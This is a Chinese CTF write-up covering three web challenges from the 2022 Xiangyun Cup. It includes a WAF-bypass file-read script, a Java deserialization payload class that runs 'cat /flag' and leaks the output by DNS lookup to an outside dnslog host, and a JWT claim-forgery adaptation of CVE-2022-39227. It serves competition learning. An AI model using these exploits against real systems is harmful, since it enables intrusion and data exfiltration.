目录

2022 第三届“祥云杯” WEB复盘

[WEB] RustWaf

app.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    let data = fs.readFileSync(file_to_read);
    res.send(data.toString());
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});

app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

main.rs

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;

static BLACK_PROPERTY: &str = "protocol";

#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
}

pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||  body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
    }
    if let Ok(json_body) = serde_json::from_str::<Value>(body) {
        if let Some(json_body_obj) = json_body.as_object() {
            if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                return String::from("./main.rs");
            }
        }
        //not contains protocol,check if struct is File
        if let Ok(file) = serde_json::from_str::<File>(body) {
            return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
        }
    } else{
        //body not json
        return String::from(body);
    }
    return String::from("./main.rs");
}

fn main() {
    let args: Vec<String> = env::args().collect();
    println!("{}", waf(&args[1]));
}

可以看到 app.js 里对返回结果进行了 trim ,而 main.rs 没有。可以用一些空白字符让 serde_json 反序列化失败,而 app.js trim 后可以成功反序列化

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import json
import re

import requests

proxy = {
    'http': 'http://127.0.0.1:8080'
}

url = "http://your-domain.cloudeci1.ichunqiu.com:3000/readfile"


def encode(data):
    res = ''.join(r'\u{:04X}'.format(ord(chr)) for chr in data)
    return res


header = {
    "Content-type": "application/x-www-form-urlencoded"
}

# unicode 绕过flag检测
print(encode("flag"))

# \u3000 全角中文空格,可以被trim剔除,直接序列化会报错,绕过waf
data = "\u3000\uFEFF".encode() + b'{"protocol":"file:","href":"file:///\u0066\u006C\u0061\u0067","origin":"null","host":"/","pathname":"/\u0066\u006C\u0061\u0067","hostname":""}'

print(data)

r = requests.post(url, data=data, headers=header, proxies=proxy)

print(r.text)

[WEB] ezjava

题目给了个 jar下载链接 ,拖进 JADX 看看,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.ctf.ezjava.controller;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: ezjava-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/ctf/ezjava/controller/Hello.class */
public class Hello {
    @GetMapping({"/hello"})
    public String hello() {
        return "hello";
    }

    @PostMapping({"/myTest"})
    public String myTest(@RequestBody String baseStr) {
        try {
            byte[] decode = Base64.getDecoder().decode(baseStr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
            ois.readObject();
            return "true";
        } catch (Exception e) {
            System.out.println(e);
            return "false";
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Manifest-Version: 1.0
Spring-Boot-Classpath-Index: BOOT-INF/classpath.idx
Archiver-Version: Plexus Archiver
Built-By: 
Spring-Boot-Layers-Index: BOOT-INF/layers.idx
Start-Class: com.ctf.ezjava.EzjavaApplication
Spring-Boot-Classes: BOOT-INF/classes/
Spring-Boot-Lib: BOOT-INF/lib/
Spring-Boot-Version: 2.6.1
Created-By: Apache Maven
Build-Jdk: 1.8.0_66
Main-Class: org.springframework.boot.loader.JarLauncher

./image-20221101085049137.png

这个题坑的地方在服务端不能出网,卡了半天,测试发现dns解析是能成功的,那就有两个思路了

  • dnslog
  • 内存马

lib 里面有 commons-collections4-4.0.jar 反序列化用 CC2 链可以打通,做题的时候为了方便直接魔改的 ysomapDnslogLoader

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package loader;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;
import java.net.InetAddress;
import java.net.URL;
import java.net.UnknownHostException;
import java.util.Base64;

public class DnslogLoader extends AbstractTranslet implements Serializable {

    private static String dnslog;

    public static String bytesToHex(byte[] bytes) {
        StringBuffer sb = new StringBuffer();
        for(int i = 0; i < bytes.length; i++) {
            String hex = Integer.toHexString(bytes[i] & 0xFF);
            if(hex.length() < 2){
                sb.append(0);
            }
            sb.append(hex);
        }
        return sb.toString();
    }

    public DnslogLoader(){
        if(dnslog != null){
            try {
                Process process = Runtime.getRuntime().exec("cat /flag");

                ByteArrayOutputStream resultOutStream = new ByteArrayOutputStream();

                InputStream errorInStream = new BufferedInputStream(process.getErrorStream());

                InputStream processInStream = new BufferedInputStream(process.getInputStream());

                int num = 0;

                byte[] bs = new byte[1024];

                while((num=errorInStream.read(bs))!=-1){

                    resultOutStream.write(bs,0,num);

                }

                while((num=processInStream.read(bs))!=-1){

                    resultOutStream.write(bs,0,num);

                }

                String baseurl = String.format("http://%s.%s", bytesToHex(resultOutStream.toByteArray()).substring(45), dnslog);
                URL url = new URL(baseurl);
                url.hashCode();
//                url.openStream();
            } catch (Exception e) {
                // do nothing
            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public String getHostname(){
        InetAddress ia = null;
        try {
            ia = InetAddress.getLocalHost();
            return ia.getHostName();
        } catch (UnknownHostException e) {
            return "unknown";
        }
    }
}

之后准备详细整理反序列化漏洞和Springboot内存马相关的知识

[WEB] FunWEB

没出。看wp说后端是 Python 写的, 可以根据 Cookie 里的 session 看出来是 flask,最近 python-jwt 修复了 CVE-2022-39227,网上没找到现成的 poc,看下 commit 记录有这个漏洞的测试代码,贴一下方便分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
""" Test claim forgery vulnerability fix """
 from datetime import timedelta
 from json import loads, dumps
 from test.common import generated_keys
 from test import python_jwt as jwt
 from pyvows import Vows, expect
 from jwcrypto.common import base64url_decode, base64url_encode

 @Vows.batch
 class ForgedClaims(Vows.Context):
     """ Check we get an error when payload is forged using mix of compact and JSON formats """
     def topic(self):
         """ Generate token """
         payload = {'sub': 'alice'}
         return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))

     class PolyglotToken(Vows.Context):
         """ Make a forged token """
         def topic(self, topic):
             """ Use mix of JSON and compact format to insert forged claims including long expiration """
             [header, payload, signature] = topic.split('.')
             parsed_payload = loads(base64url_decode(payload))
             parsed_payload['sub'] = 'bob'
             parsed_payload['exp'] = 2000000000
             fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
             return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

         class Verify(Vows.Context):
             """ Check the forged token fails to verify """
             @Vows.capture_error
             def topic(self, topic):
                 """ Verify the forged token """
                 return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])

             def token_should_not_verify(self, r):
                 """ Check the token doesn't verify due to mixed format being detected """
                 expect(r).to_be_an_error()
                 expect(str(r)).to_equal('invalid JWT format')

jwt主要内容

1
2
3
4
5
6
{
	"is_admin": 0,
	"is_login": 1,
	"password": "test"
	"username": "test"
}

简单看了一下,大概就是使用json格式混淆,改改就能用

1
2
3
4
5
6
7
8
def topic(self, topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

把生成的payload替换token访问 /flag 接口,看来必须拿到密码了,还有一个grahql查询接口,可以手动注入拿密码,用密码登陆后可以拿到flag,grahql注入已经进入知识盲区了,周末系统学习一下

1
only currect password can readflag